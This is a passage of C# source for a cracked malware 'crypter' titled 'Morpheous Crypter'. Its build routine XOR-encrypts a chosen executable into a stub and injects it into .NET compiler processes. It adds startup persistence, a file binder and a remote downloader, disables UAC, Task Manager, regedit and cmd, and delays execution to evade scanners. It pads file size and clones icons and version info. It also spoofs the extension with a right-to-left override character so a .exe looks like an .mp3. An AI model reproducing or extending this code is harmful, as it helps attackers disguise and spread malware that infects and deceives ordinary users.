System.Drawing.Font("Verdana", 7F); + this.instaButton12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton12.Location = new System.Drawing.Point(235, 45); + this.instaButton12.Name = "instaButton12"; + this.instaButton12.Size = new System.Drawing.Size(36, 39); + this.instaButton12.TabIndex = 45; + this.instaButton12.Text = "Clone"; + this.instaButton12.Click += new System.EventHandler(this.instaButton12_Click); + // + // aCopyright + // + this.aCopyright.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.aCopyright.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.aCopyright.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.aCopyright.Location = new System.Drawing.Point(80, 105); + this.aCopyright.Name = "aCopyright"; + this.aCopyright.Size = new System.Drawing.Size(145, 19); + this.aCopyright.TabIndex = 44; + // + // aProduct + // + this.aProduct.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.aProduct.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.aProduct.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.aProduct.Location = new System.Drawing.Point(80, 85); + this.aProduct.Name = "aProduct"; + this.aProduct.Size = new System.Drawing.Size(145, 19); + this.aProduct.TabIndex = 43; + // + // aCompany + // + this.aCompany.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.aCompany.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.aCompany.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.aCompany.Location = new System.Drawing.Point(80, 65); + this.aCompany.Name = "aCompany"; + this.aCompany.Size = new System.Drawing.Size(145, 19); + this.aCompany.TabIndex = 42; + // + // instaLabel24 + // + this.instaLabel24.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel24.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel24.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel24.Location = new System.Drawing.Point(7, 7); + this.instaLabel24.Name = "instaLabel24"; + this.instaLabel24.Size = new System.Drawing.Size(134, 19); + this.instaLabel24.TabIndex = 39; + this.instaLabel24.Text = "Assembly Info"; + // + // instaSeperator11 + // + this.instaSeperator11.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator11.IsVertical = false; + this.instaSeperator11.Location = new System.Drawing.Point(6, 3); + this.instaSeperator11.Name = "instaSeperator11"; + this.instaSeperator11.Size = new System.Drawing.Size(272, 23); + this.instaSeperator11.TabIndex = 38; + this.instaSeperator11.Text = "instaSeperator11"; + this.instaSeperator11.Thickness = 1F; + // + // instaButton11 + // + this.instaButton11.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton11.Location = new System.Drawing.Point(210, 174); + this.instaButton11.Name = "instaButton11"; + this.instaButton11.Size = new System.Drawing.Size(61, 25); + this.instaButton11.TabIndex = 37; + this.instaButton11.Text = "Clear"; + this.instaButton11.Click += new System.EventHandler(this.instaButton11_Click); + // + // instaButton10 + // + this.instaButton10.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton10.Location = new System.Drawing.Point(74, 174); + this.instaButton10.Name = "instaButton10"; + this.instaButton10.Size = new System.Drawing.Size(61, 25); + this.instaButton10.TabIndex = 36; + this.instaButton10.Text = "Browse"; + this.instaButton10.Click += new System.EventHandler(this.instaButton10_Click); + // + // instaButton9 + // + this.instaButton9.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton9.Location = new System.Drawing.Point(142, 174); + this.instaButton9.Name = "instaButton9"; + this.instaButton9.Size = new System.Drawing.Size(61, 25); + this.instaButton9.TabIndex = 35; + this.instaButton9.Text = "Clone"; + this.instaButton9.Click += new System.EventHandler(this.instaButton9_Click); + // + // pictureBox1 + // + this.pictureBox1.Location = new System.Drawing.Point(16, 169); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(32, 32); + this.pictureBox1.TabIndex = 34; + this.pictureBox1.TabStop = false; + // + // instaLabel15 + // + this.instaLabel15.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel15.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel15.Location = new System.Drawing.Point(7, 151); + this.instaLabel15.Name = "instaLabel15"; + this.instaLabel15.Size = new System.Drawing.Size(134, 19); + this.instaLabel15.TabIndex = 33; + this.instaLabel15.Text = "Icon"; + // + // instaSeperator10 + // + this.instaSeperator10.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator10.IsVertical = false; + this.instaSeperator10.Location = new System.Drawing.Point(6, 147); + this.instaSeperator10.Name = "instaSeperator10"; + this.instaSeperator10.Size = new System.Drawing.Size(272, 23); + this.instaSeperator10.TabIndex = 32; + this.instaSeperator10.Text = "instaSeperator10"; + this.instaSeperator10.Thickness = 1F; + // + // tabPage6 + // + this.tabPage6.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(212)))), ((int)(((byte)(212)))), ((int)(((byte)(212))))); + this.tabPage6.Controls.Add(this.instaLabel22); + this.tabPage6.Controls.Add(this.instaLabel21); + this.tabPage6.Controls.Add(this.instaLabel20); + this.tabPage6.Controls.Add(this.numDelay); + this.tabPage6.Controls.Add(this.instaLabel19); + this.tabPage6.Controls.Add(this.instaSeperator9); + this.tabPage6.Controls.Add(this.instaLabel18); + this.tabPage6.Controls.Add(this.numPump); + this.tabPage6.Controls.Add(this.instaLabel17); + this.tabPage6.Controls.Add(this.instaLabel16); + this.tabPage6.Controls.Add(this.instaSeperator8); + this.tabPage6.Controls.Add(this.labelExtension); + this.tabPage6.Controls.Add(this.txtExtension); + this.tabPage6.Controls.Add(this.instaLabel14); + this.tabPage6.Controls.Add(this.boxSpoof); + this.tabPage6.Controls.Add(this.instaSeperator7); + this.tabPage6.Location = new System.Drawing.Point(156, 4); + this.tabPage6.Name = "tabPage6"; + this.tabPage6.Size = new System.Drawing.Size(284, 215); + this.tabPage6.TabIndex = 5; + this.tabPage6.Text = "Extras"; + // + // instaLabel22 + // + this.instaLabel22.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel22.Font = new System.Drawing.Font("Verdana", 6F); + this.instaLabel22.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel22.Location = new System.Drawing.Point(54, 197); + this.instaLabel22.Name = "instaLabel22"; + this.instaLabel22.Size = new System.Drawing.Size(181, 10); + this.instaLabel22.TabIndex = 47; + this.instaLabel22.Text = "Delaying Execution helps bypass Runtimes"; + // + // instaLabel21 + // + this.instaLabel21.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel21.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel21.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel21.Location = new System.Drawing.Point(188, 165); + this.instaLabel21.Name = "instaLabel21"; + this.instaLabel21.Size = new System.Drawing.Size(47, 19); + this.instaLabel21.TabIndex = 46; + this.instaLabel21.Text = "seconds"; + // + // instaLabel20 + // + this.instaLabel20.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel20.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel20.Location = new System.Drawing.Point(40, 165); + this.instaLabel20.Name = "instaLabel20"; + this.instaLabel20.Size = new System.Drawing.Size(47, 19); + this.instaLabel20.TabIndex = 45; + this.instaLabel20.Text = "Wait"; + // + // numDelay + // + this.numDelay.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(30)))), ((int)(((byte)(30))))); + this.numDelay.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numDelay.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.numDelay.Location = new System.Drawing.Point(98, 162); + this.numDelay.Name = "numDelay"; + this.numDelay.Size = new System.Drawing.Size(80, 19); + this.numDelay.TabIndex = 44; + // + // instaLabel19 + // + this.instaLabel19.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel19.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel19.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel19.Location = new System.Drawing.Point(26, 137); + this.instaLabel19.Name = "instaLabel19"; + this.instaLabel19.Size = new System.Drawing.Size(134, 19); + this.instaLabel19.TabIndex = 43; + this.instaLabel19.Text = "Delay Execution"; + // + // instaSeperator9 + // + this.instaSeperator9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator9.IsVertical = false; + this.instaSeperator9.Location = new System.Drawing.Point(6, 133); + this.instaSeperator9.Name = "instaSeperator9"; + this.instaSeperator9.Size = new System.Drawing.Size(272, 23); + this.instaSeperator9.TabIndex = 42; + this.instaSeperator9.Text = "instaSeperator9"; + this.instaSeperator9.Thickness = 1F; + // + // instaLabel18 + // + this.instaLabel18.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel18.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel18.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel18.Location = new System.Drawing.Point(206, 105); + this.instaLabel18.Name = "instaLabel18"; + this.instaLabel18.Size = new System.Drawing.Size(47, 19); + this.instaLabel18.TabIndex = 41; + this.instaLabel18.Text = "kb"; + // + // numPump + // + this.numPump.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(30)))), ((int)(((byte)(30))))); + this.numPump.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numPump.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.numPump.Location = new System.Drawing.Point(80, 103); + this.numPump.Name = "numPump"; + this.numPump.Size = new System.Drawing.Size(120, 19); + this.numPump.TabIndex = 39; + // + // instaLabel17 + // + this.instaLabel17.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel17.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel17.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel17.Location = new System.Drawing.Point(40, 105); + this.instaLabel17.Name = "instaLabel17"; + this.instaLabel17.Size = new System.Drawing.Size(47, 19); + this.instaLabel17.TabIndex = 40; + this.instaLabel17.Text = "Pump"; + // + // instaLabel16 + // + this.instaLabel16.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel16.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel16.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel16.Location = new System.Drawing.Point(26, 78); + this.instaLabel16.Name = "instaLabel16"; + this.instaLabel16.Size = new System.Drawing.Size(134, 19); + this.instaLabel16.TabIndex = 38; + this.instaLabel16.Text = "File Pumper"; + // + // instaSeperator8 + // + this.instaSeperator8.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator8.IsVertical = false; + this.instaSeperator8.Location = new System.Drawing.Point(6, 74); + this.instaSeperator8.Name = "instaSeperator8"; + this.instaSeperator8.Size = new System.Drawing.Size(272, 23); + this.instaSeperator8.TabIndex = 37; + this.instaSeperator8.Text = "instaSeperator8"; + this.instaSeperator8.Thickness = 1F; + // + // labelExtension + // + this.labelExtension.AccessibleDescription = ""; + this.labelExtension.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.labelExtension.Font = new System.Drawing.Font("Verdana", 7F); + this.labelExtension.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.labelExtension.Location = new System.Drawing.Point(155, 34); + this.labelExtension.Name = "labelExtension"; + this.labelExtension.Size = new System.Drawing.Size(102, 19); + this.labelExtension.TabIndex = 36; + this.labelExtension.Text = "example.exe"; + // + // txtExtension + // + this.txtExtension.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.txtExtension.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtExtension.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.txtExtension.Location = new System.Drawing.Point(26, 33); + this.txtExtension.Name = "txtExtension"; + this.txtExtension.Size = new System.Drawing.Size(106, 19); + this.txtExtension.TabIndex = 35; + this.txtExtension.Text = ".mp3"; + this.txtExtension.TextChanged += new System.EventHandler(this.txtExtension_TextChanged); + // + // instaLabel14 + // + this.instaLabel14.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel14.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel14.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel14.Location = new System.Drawing.Point(26, 7); + this.instaLabel14.Name = "instaLabel14"; + this.instaLabel14.Size = new System.Drawing.Size(134, 19); + this.instaLabel14.TabIndex = 33; + this.instaLabel14.Text = "Extension Spoofer"; + // + // boxSpoof + // + this.boxSpoof.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.boxSpoof.Checked = false; + this.boxSpoof.CheckStyle = InstaCheckBox.CheckStyleType.Checkmark; + this.boxSpoof.Font = new System.Drawing.Font("Verdana", 7F); + this.boxSpoof.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.boxSpoof.Location = new System.Drawing.Point(9, 7); + this.boxSpoof.Name = "boxSpoof"; + this.boxSpoof.Size = new System.Drawing.Size(78, 21); + this.boxSpoof.TabIndex = 34; + // + // instaSeperator7 + // + this.instaSeperator7.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator7.IsVertical = false; + this.instaSeperator7.Location = new System.Drawing.Point(6, 3); + this.instaSeperator7.Name = "instaSeperator7"; + this.instaSeperator7.Size = new System.Drawing.Size(272, 23); + this.instaSeperator7.TabIndex = 32; + this.instaSeperator7.Text = "instaSeperator7"; + this.instaSeperator7.Thickness = 1F; + // + // instaTheme1 + // + this.instaTheme1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(12)))), ((int)(((byte)(12)))), ((int)(((byte)(12))))); + this.instaTheme1.Dock = System.Windows.Forms.DockStyle.Fill; + this.instaTheme1.Font = new System.Drawing.Font("Verdana", 7F); + this.instaTheme1.ForeColor = System.Drawing.Color.LightBlue; + this.instaTheme1.Location = new System.Drawing.Point(0, 0); + this.instaTheme1.Name = "instaTheme1"; + this.instaTheme1.ShowIcon = false; + this.instaTheme1.Size = new System.Drawing.Size(461, 394); + this.instaTheme1.TabIndex = 0; + this.instaTheme1.Text = "Morpheous Crypter Cracked By Reborn "; + // + // Form1 + // + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(49)))), ((int)(((byte)(49)))), ((int)(((byte)(49))))); + this.ClientSize = new System.Drawing.Size(461, 394); + this.Controls.Add(this.instaButton8); + this.Controls.Add(this.textBox4); + this.Controls.Add(this.expDate); + this.Controls.Add(this.instaButton3); + this.Controls.Add(this.instaSeperator2); + this.Controls.Add(this.cryptingBar); + this.Controls.Add(this.instaButton1); + this.Controls.Add(this.timeRem); + this.Controls.Add(this.username); + this.Controls.Add(this.instaTabControl1); + this.Controls.Add(this.instaTheme1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "Form1"; + this.Text = "Form1"; + this.Load += new System.EventHandler(this.Form1_Load_1); + this.instaTabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage1.PerformLayout(); + this.tabPage2.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); + this.tabPage3.PerformLayout(); + this.tabPage5.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.tabPage7.PerformLayout(); + this.tabPage4.ResumeLayout(false); + this.tabPage4.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.tabPage6.ResumeLayout(false); + this.tabPage6.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numDelay)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numPump)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + private void instaButton1_Click(object sender, EventArgs e) + { + + if (!string.IsNullOrEmpty(FileLoc)) + { + this.cryptingBar.Value = 0f; + this.cryptingBar.Refresh(); + SaveFileDialog dialog = new SaveFileDialog { + Filter = ".exe|*.exe", + ShowHelp = true + }; + if (dialog.ShowDialog() == DialogResult.OK) + { + try + { + if (this.custom.Checked) + { + inj = this.txtInj.Text; + } + string str = EladitosCrypter.Properties.Resources.Source1; + bool flag = false; + bool flag2 = false; + bool flag3 = false; + bool flag4 = this.boolMsg.Checked; + string newValue = RndString(r.Next(11, 20)); + string str3 = RndString(r.Next(11, 20)); + string str4 = RndString(70); + if (this.listBind.Items.Count > 0) + { + flag = true; + } + if (this.listDL.Items.Count > 0) + { + flag2 = true; + } + this.increase(5f); + if (((this.a1.Checked || this.a2.Checked) || (this.a3.Checked || this.a4.Checked)) || this.a5.Checked) + { + flag3 = true; + } + str = str.Replace("[ANTI]", flag3.ToString().ToLower()).Replace("[SLEEP]", this.numDelay.Value.ToString() + "000").Replace("[ENCRYPTION]", str4).Replace("[STARTUP]", this.boxStartup.Checked.ToString().ToLower()); + this.increase(10f); + str = str.Replace("[BIND]", flag.ToString().ToLower()).Replace("[DOWNLOAD]", flag2.ToString().ToLower()).Replace("[MESSAGE]", flag4.ToString().ToLower()).Replace("[RESOURCEFILE]", newValue).Replace("[RESNAME]", str3).Replace("[PERSISTENCE]", this.boxPersistence.Checked.ToString().ToLower()).Replace("[INJECT]", inj); + this.increase(10f); + if (this.boxStartup.Checked) + { + str = str.Replace("[SFILE]", this.txtSUPfile.Text).Replace("[SNAME]", this.txtSUPvalue.Text); + } + else + { + str = str.Replace("[SFILE]", ""); + } + ResourceWriter writer = new ResourceWriter(Application.StartupPath + @"\" + newValue + ".resources"); + writer.AddResource(str3, Encoding.Default.GetBytes(Encoding.Default.GetString(XOR(File.ReadAllBytes(FileLoc), str4)) + "MORPHEOUS" + Encoding.Default.GetString(XOR(runnet, str4)))); + + if (flag) + { + string s = string.Empty; + for (int i = 0; i < this.listBind.Items.Count; i++) + { + string[] strArray = this.listBind.Items[i].ToString().Split(new char[] { '\\' }); + string str20 = s; + s = str20 + Encoding.Default.GetString(File.ReadAllBytes(this.listBind.Items[i].ToString())) + "extension" + strArray[strArray.Length - 1] + "killamuvz"; + } + string str6 = RndString(r.Next(6)); + string str7 = string.Empty; + if (this.boxBindOnce.Checked) + { + str7 = RndString(r.Next(7)); + } + else + { + str7 = ""; + } + str = str.Replace("[BINDONCE]", str7); + byte[] buffer = XOR(Encoding.Default.GetBytes(s), str4); + writer.AddResource("bind", buffer); + } + + if (flag2) + { + string str8 = string.Empty; + foreach (string str9 in this.listDL.Items) + { + str8 = str8 + str9 + "#KILLAMUVZ#"; + } + string str10 = RndString(r.Next(5)); + string str11 = string.Empty; + if (this.boxDLOnce.Checked) + { + str11 = RndString(r.Next(6)); + } + str = str.Replace("[DLONCE]", str11); + byte[] buffer2 = XOR(Encoding.Default.GetBytes(str8), str4); + writer.AddResource("download", buffer2); + } + + this.increase(10f); + if (flag4) + { + string[] strArray2 = Regex.Split(this.msgBody.Text, this.n); + string input = string.Empty; + string str13 = string.Empty; + foreach (string str14 in strArray2) + { + input = input + str14 + this.n; + } + if (this.msgRunOnce.Checked) + { + str13 = RndString(r.Next(7, 10)); + } + str = str.Replace("[MSGONCE]", str13).Replace("[BODY]", this.encstring(input)).Replace("[TITLE]", this.encstring(this.msgTitle.Text)); + } + writer.Close(); + Compile(str.Replace("[UAC]", this.d1.Checked.ToString().ToLower()).Replace("[REGEDIT]", this.d4.Checked.ToString().ToLower()).Replace("[TASKMGR]", this.d2.Checked.ToString().ToLower()).Replace("[CMD]", this.d3.Checked.ToString().ToLower()), newValue, dialog.FileName, false); + + this.increase(15f); + if (!errorb) + { + string str15 = EladitosCrypter.Properties.Resources.stub; + string str16 = RndString(r.Next(11, 40)); + string str17 = RndString(r.Next(11, 40)); + str15 = str15.Replace("[ENCRYPTION]", str4).Replace("[RESOURCEFILE]", str16).Replace("[RESNAME]", str17); + this.increase(10f); + byte[] buffer3 = File.ReadAllBytes(dialog.FileName); + File.Delete(dialog.FileName); + ResourceWriter writer2 = new ResourceWriter(Application.StartupPath + @"\" + str16 + ".resources"); + writer2.AddResource(str17, XOR(buffer3, str4)); + this.increase(10f); + writer2.Close(); + str15 = str15.Replace("[TITLE]", this.aTitle.Text).Replace("[ASSDESCRIPTION]", this.aDescription.Text).Replace("[COMPANY]", this.aCompany.Text).Replace("[PRODUCT]", this.aProduct.Text).Replace("[COPYRIGHT]", this.aCopyright.Text).Replace("[VERSION]", this.aVersion.Text); + str15 = this.rename(str15); + this.increase(10f); + Compile(str15, str16, dialog.FileName, false); + + this.increase(10f); + if (this.numPump.Value > 0M) + { + this.pumpup(dialog.FileName); + } + if (this.boxSpoof.Checked) + { + string fileName = Path.GetFileName(dialog.FileName); + char newChar = '‮'; + char[] array = this.txtExtension.Text.Replace('.', newChar).ToCharArray(); + int length = fileName.Length - 4; + Array.Reverse(array); + string destFileName = string.Concat(new object[] { fileName.Substring(0, length), newChar, new string(array), fileName.Substring(length) }); + File.Move(fileName, destFileName); + } + + this.increase(10f); + } + } + catch (Exception exception) + { + MessageBox.Show(exception.Message); + } + } + } + } + + private void instaButton10_Click(object sender, EventArgs e) + { + OpenFileDialog dialog = new OpenFileDialog { + Filter = "Icon|*.ico" + }; + if (dialog.ShowDialog() == DialogResult.OK) + { + this.pictureBox1.Image = Icon.ExtractAssociatedIcon(dialog.FileName).ToBitmap(); + IconLoc = dialog.FileName; + CloneIcon = false; + } + } + + private void instaButton11_Click(object sender, EventArgs e) + { + IconLoc = string.Empty; + CloneIcon = false; + this.pictureBox1.Image = null; + } + + private void instaButton12_Click(object sender, EventArgs e) + { + OpenFileDialog dialog = new OpenFileDialog { + Filter = "Any File|*.*" + }; + if (dialog.ShowDialog() == DialogResult.OK) + { + FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(dialog.FileName); + this.aCompany.Text = versionInfo.CompanyName; + this.aTitle.Text = versionInfo.FileDescription; + this.aDescription.Text = versionInfo.FileDescription; + this.aCopyright.Text = versionInfo.LegalCopyright; + this.aProduct.Text = versionInfo.ProductName; + this.aVersion.Text = versionInfo.FileMajorPart.ToString() + "." + versionInfo.FileMinorPart.ToString() + "." + versionInfo.FileBuildPart.ToString() + ".0"; + } + } + + private void instaButton13_Click(object sender, EventArgs e) + { + this.aTitle.Text = this.aDescription.Text = this.aCompany.Text = this.aProduct.Text = this.aCopyright.Text = string.Empty; + this.aVersion.Text = "1.0.0.0"; + } + + private void instaButton2_Click(object sender, EventArgs e) + { + OpenFileDialog dialog = new OpenFileDialog { + Filter = ".exe|*.exe", + ShowHelp = true + }; + if (dialog.ShowDialog() == DialogResult.OK) + { + FileLoc = dialog.FileName; + this.lblFile.Text = Path.GetFileName(FileLoc); + this.lblFile.Refresh(); + if (isDotNet(File.ReadAllBytes(dialog.FileName))) + { + this.itselfNet(); + this.itself.Checked = true; + this.itself.Refresh(); + } + } + } + + private void instaButton3_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void instaButton4_Click(object sender, EventArgs e) + { + this.listDL.Items.Clear(); + } + + private void instaButton5_Click(object sender, EventArgs e) + { + this.listDL.Items.Remove(this.listDL.SelectedItem); + } + + private void instaButton6_Click(object sender, EventArgs e) + { + this.listDL.Items.Add(this.txtdl.Text); + } + + private void instaButton7_Click(object sender, EventArgs e) + { + MessageBox.Show(this.msgBody.Text, this.msgTitle.Text, MessageBoxButtons.OK, MessageBoxIcon.Hand); + } + + private void instaButton8_Click(object sender, EventArgs e) + { + Scanner scanner = new Scanner(); + scanner.Show(); + scanner.Validate(); + } + + private void instaButton9_Click(object sender, EventArgs e) + { + OpenFileDialog dialog = new OpenFileDialog { + Filter = "Any File|*.*" + }; + if (dialog.ShowDialog() == DialogResult.OK) + { + this.pictureBox1.Image = Icon.ExtractAssociatedIcon(dialog.FileName).ToBitmap(); + IconLoc = dialog.FileName; + CloneIcon = true; + } + } + + [DllImport("kernel32")] + private static extern bool IsDebuggerPresent(); + public static bool isDotNet(byte[] bytesdotnet) + { + try + { + Assembly.Load(bytesdotnet); + return true; + } + catch (Exception) + { + return false; + } + } + + private void itself_Click(object sender, EventArgs e) + { + this.vbc.Checked = false; + this.vbc.Refresh(); + this.csc.Checked = false; + this.csc.Refresh(); + this.cvtres.Checked = false; + this.cvtres.Refresh(); + this.custom.Checked = false; + this.custom.Refresh(); + inj = "itself"; + } + + private void itselfNet() + { + this.vbc.Checked = false; + this.vbc.Refresh(); + this.csc.Checked = false; + this.csc.Refresh(); + this.cvtres.Checked = false; + this.cvtres.Refresh(); + this.custom.Checked = false; + this.custom.Refresh(); + inj = "itself"; + } + + private void pumpup(string location) + { + double num = Convert.ToDouble(this.numPump.Value) * 1024.0; + FileStream stream = File.OpenWrite(location); + for (long i = stream.Seek(0L, SeekOrigin.End); i < num; i += 1L) + { + stream.WriteByte(0); + } + stream.Close(); + } + + private string rename(string s) + { + string[] strArray = "AA-BB-CC-DD-EE-FF-GG-HH-II-JJ-LL-KK-MM-OO-PP-TT-SS-RR".Split(new char[] { '-' }); + for (int i = 0; i < strArray.Length; i++) + { + for (int j = 1; j < 10; j++) + { + s = s.Replace(strArray[i] + Convert.ToString(j), RndString(r.Next(20, 30))); + } + } + return s; + } + + private static string RndString(int Length) + { + string str = Form1.str[r.Next(0, 5)].ToString(); + for (int i = 0; i < Length; i++) + { + str = str + Form1.str[r.Next(0, Form1.str.Length)]; + } + return str; + } + + private void txtExtension_TextChanged(object sender, EventArgs e) + { + string str = "example.exe"; + int length = str.Length - 4; + char ch = '‮'; + char[] array = this.txtExtension.Text.Replace(".", "").ToCharArray(); + Array.Reverse(array); + string str2 = string.Concat(new object[] { str.Substring(0, length), ch, new string(array), str.Substring(length) }); + this.labelExtension.Text = str2; + this.labelExtension.Refresh(); + } + + private void vbc_Click(object sender, EventArgs e) + { + this.custom.Checked = false; + this.custom.Refresh(); + this.csc.Checked = false; + this.csc.Refresh(); + this.cvtres.Checked = false; + this.cvtres.Refresh(); + this.itself.Checked = false; + this.itself.Refresh(); + inj = "vbc"; + } + + public static byte[] XOR(byte[] input, string Key) + { + int num = 5; + byte[] bytes = Encoding.ASCII.GetBytes(Key); + for (int i = 0; i < input.Length; i++) + { + input[i] = (byte) (input[i] ^ ((byte) ((bytes[i % ((int) bytes.Length)] >> ((i + num) + bytes.Length)) & 0xff))); + } + return input; + } + + private void boxDLOnce_Click(object sender, EventArgs e) + { + + } + + private void boxPersistence_Click(object sender, EventArgs e) + { + + } + + private void textBox4_TextChanged(object sender, 